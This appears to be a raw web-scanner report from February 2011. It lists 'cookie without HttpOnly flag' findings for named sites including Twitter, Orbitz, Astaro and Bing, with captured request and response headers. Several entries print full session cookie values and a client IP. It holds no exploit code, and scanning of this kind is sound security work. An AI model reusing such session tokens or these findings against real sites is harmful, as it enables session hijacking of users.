The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /sessions/change_locale HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 404 Not Found Date: Wed, 02 Feb 2011 16:24:11 GMT Server: hi Status: 404 Not Found X-Transaction: 1296663851-55698-5858 Last-Modified: Wed, 02 Feb 2011 16:24:11 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9230 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /sessions/destroy HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 404 Not Found Date: Wed, 02 Feb 2011 16:24:11 GMT Server: hi Status: 404 Not Found X-Transaction: 1296663851-66867-49140 Last-Modified: Wed, 02 Feb 2011 16:24:11 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9230 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /signup HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:23:49 GMT Server: hi Status: 200 OK X-Transaction: 1296663829-89200-7354 ETag: "ed0dc6e25fe910272a7490b6f79f8e91" Last-Modified: Wed, 02 Feb 2011 16:23:49 GMT X-Runtime: 0.06475 Content-Type: text/html; charset=utf-8 Content-Length: 39430 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tos HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:23:49 GMT Server: hi Status: 200 OK X-Transaction: 1296663829-54210-41524 ETag: "811349ef198e540e50099738f656b516" Last-Modified: Wed, 02 Feb 2011 16:23:49 GMT X-Runtime: 0.04445 Content-Type: text/html; charset=utf-8 Content-Length: 30526 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
traveler_update_visitor=C108D6A5A5D4BD8; path=/; expires=Tue, 02 Feb 2016 15:42:34 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: updates.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.6.35 Date: Wed, 02 Feb 2011 15:42:34 GMT Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: traveler_update_visitor=C108D6A5A5D4BD8; path=/; expires=Tue, 02 Feb 2016 15:42:34 GMT Set-Cookie: traveler_update_session=BAh7CToOcmV0dXJuX3RvIgYvOhFsYXN0X3JlcXVlc3RABjoQbGFzdF92aWV3%250AZWRABiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo%250ASGFzaHsABjoKQHVzZWR7AA%253D%253D--1848cb98c769e595ff92d0c71ba7b529ea2e7b8c; path=/ Status: 200 OK X-Runtime: 0.04863 ETag: "b34818a85b696911e7d99114397715e5" Cache-Control: private, max-age=0, must-revalidate Content-Length: 32599
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
traveler_update_visitor=AA38ABAD2706415; path=/; expires=Tue, 02 Feb 2016 15:42:36 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /flight_status HTTP/1.1 Host: updates.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.6.35 Date: Wed, 02 Feb 2011 15:42:36 GMT Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: traveler_update_visitor=AA38ABAD2706415; path=/; expires=Tue, 02 Feb 2016 15:42:36 GMT Set-Cookie: traveler_update_session=BAh7CToOcmV0dXJuX3RvIhMvZmxpZ2h0X3N0YXR1czoRbGFzdF9yZXF1ZXN0%250AQAY6EGxhc3Rfdmlld2VkQAYiCmZsYXNoSUM6J0FjdGlvbkNvbnRyb2xsZXI6%250AOkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA%253D--2e47e384fcf267e3ac43c1147866adf06a386ff2; path=/ Status: 200 OK X-Runtime: 0.01429 ETag: "37da1b745a19284e2ca378d8687450da" Cache-Control: private, max-age=0, must-revalidate Content-Length: 20350
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=kvsmh7aqseu6mg7vmpa5j24af6; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.amihackerproof.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:41:54 GMT Server: Apache Set-Cookie: PHPSESSID=kvsmh7aqseu6mg7vmpa5j24af6; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 7235 Connection: close Content-Type: text/html
<html> <head> <meta name="description" content="AmIHackerProof.com Is The most Powerful And Accurate Online Vulnerability & Penetration Scanner In The World." /> <meta name="keywords" content=" ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.answerbag.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
eZSESSIDeu=bv7eodcrp0t34v0n39i8932ve0; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /beacon/(beid HTTP/1.1 Host: www.astaro.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:30:22 GMT Server: Apache/2.2.3 (Red Hat) Set-Cookie: eZSESSIDeu=bv7eodcrp0t34v0n39i8932ve0; path=/ Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Tue, 01 Feb 2011 14:30:22 GMT X-Powered-By: eZ Publish Served-by: www.astaro.co.uk Content-language: en-GB Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-GB" lang="en-GB"> <head>
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The following cookie was issued by the application and does not have the HttpOnly flag set:
eZSESSIDen=3arq6oafh8mmgccr289cup83h1; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookie was issued by the application and does not have the HttpOnly flag set:
eZSESSIDde=osr305vfiegtr4m0rumdbdt3r7; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /beacon/(beid HTTP/1.1 Host: www.astaro.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:30:08 GMT Server: Apache/2.2.3 (Red Hat) Set-Cookie: eZSESSIDde=osr305vfiegtr4m0rumdbdt3r7; path=/ Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Tue, 01 Feb 2011 14:30:08 GMT X-Powered-By: eZ Publish Served-by: www.astaro.de Content-language: de-DE Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de-DE" lang="de-DE"> <head>
The following cookie was issued by the application and does not have the HttpOnly flag set:
eZSESSIDes=va54a0ioaplpc7s3t9i0p3vsb3; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.astaro.es Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
eZSESSIDen=bsb7dte2ge5s4c59fbs7127q65; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /beacon/(beid HTTP/1.1 Host: www.astaro.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:30:13 GMT Server: Apache/2.2.3 (Red Hat) Set-Cookie: eZSESSIDen=bsb7dte2ge5s4c59fbs7127q65; path=/ Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Tue, 01 Feb 2011 14:30:13 GMT X-Powered-By: eZ Publish Served-by: www.astaro.net Content-language: en-US Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US"> <head> <meta ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /?WT.mc_id=3499&siteID=3499 HTTP/1.1 Host: www.autocheck.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:43:05 GMT Server: Apache Set-Cookie: Apache=173.193.214.243.709129666138539; path=/; expires=Fri, 04-Mar-11 15:43:05 GMT Cache-Control: private P3P: policyref="http://www.autocheck.com/w3c/p3p.xml", CP="NON DSP COR NID TAIa OUR NOR STA" Cache-Control: private Set-Cookie: referralCookie=d1zevGA8SakdljQcN3; path=/; expires=Fri, 04-Mar-2011 15:43:09 GMT Set-Cookie: JSESSIONID=d1zevGA8SakdljQcN3; path=/ Connection: close Content-Type: text/html Content-Length: 30106
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /cks.asp HTTP/1.1 Host: www.bbbonline.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Content-Length: 0 Content-Type: text/html Expires: Wed, 02 Feb 2011 15:42:12 GMT Location: https://www.bbb.org/online/consumer/cks.aspx?ID=&n=67973 Server: Microsoft-IIS/7.0 Set-Cookie: ASPSESSIONIDAQCTBBTR=INKGGBJAFLFMOFPALBDGFNMN; path=/ X-Powered-By: ASP.NET Date: Wed, 02 Feb 2011 15:43:11 GMT Connection: close Set-Cookie: BBB_Cookie=2661423788.20480.0000; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /experiments/jqShuffle/ HTTP/1.1 Host: www.benjaminsterling.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /travel/?cid=msn_nav_lifestyle&FORM=MSNNAV HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /travel/content/search?q=Indoor+Water+Parks%3a+Wilderness+Territory+Waterpark+Resort&cid=msntab1176403&FORM=TRVCON HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /travel/deals/airline-ticket-deals.do?cid=msn_tab&form=trvcon HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /group/416 HTTP/1.1 Host: www.cafemom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /group/46574 HTTP/1.1 Host: www.cafemom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.directstartv.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.ebookers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=A08EB2ED4D2B89B08BBE7C04829B3488; Path=/ Set-Cookie: AustinLocale=en_GB; Expires=Mon, 20-Feb-2079 18:58:49 GMT; Path=/ Set-Cookie: BetaGroup="02/02/2011 09:44:42|A|A|A|C|A|H|B|P|A"; Version=1; Max-Age=1209600; Expires=Wed, 16-Feb-2011 15:44:42 GMT; Path=/ Set-Cookie: myTests=UBP323_SinglePage%3A%7C%3A%7CUBP300_Insurance%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; Expires=Tue, 28-Jan-2031 15:44:42 GMT; Path=/ Set-Cookie: anon=1611554171001296661482471; Expires=Tue, 28-Jan-2031 15:44:42 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 15:44:42 GMT Set-Cookie: NSC_JO5cdgp0cbghebddh2tpgfcuzvroweu=ffffffff09e3558c45525d5f4f58455e445a4a4217b9;path=/ Set-Cookie: NSC_xxx.fcpplfst.dpn.80_gxe=ffffffff09e308f645525d5f4f58455e445a4a423660;path=/ Content-Length: 106455
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.faneuilhallmarketplace.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.gorp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.hotelclub.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ho113791/millennium-bostonian-hotel-boston-boston-united-states/ HTTP/1.1 Host: www.hotels.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.kampyle.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 14:30:24 GMT Server: Apache Set-Cookie: PHPSESSID=9d48a3e208103729dc32d5cdd8363eef; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 15277
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html> <head> <link href="/min/?f=%2Fstatic%2Fcss%2Fstyles.css.1296373190,%2Fstatic%2Fcss ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.ligattsecurity.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=LIGATT+Security+International Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=7110efa8adba60163d4df13d64f63be7; expires=Thu, 03 Feb 2011 15:58:01 GMT; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.livestrong.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
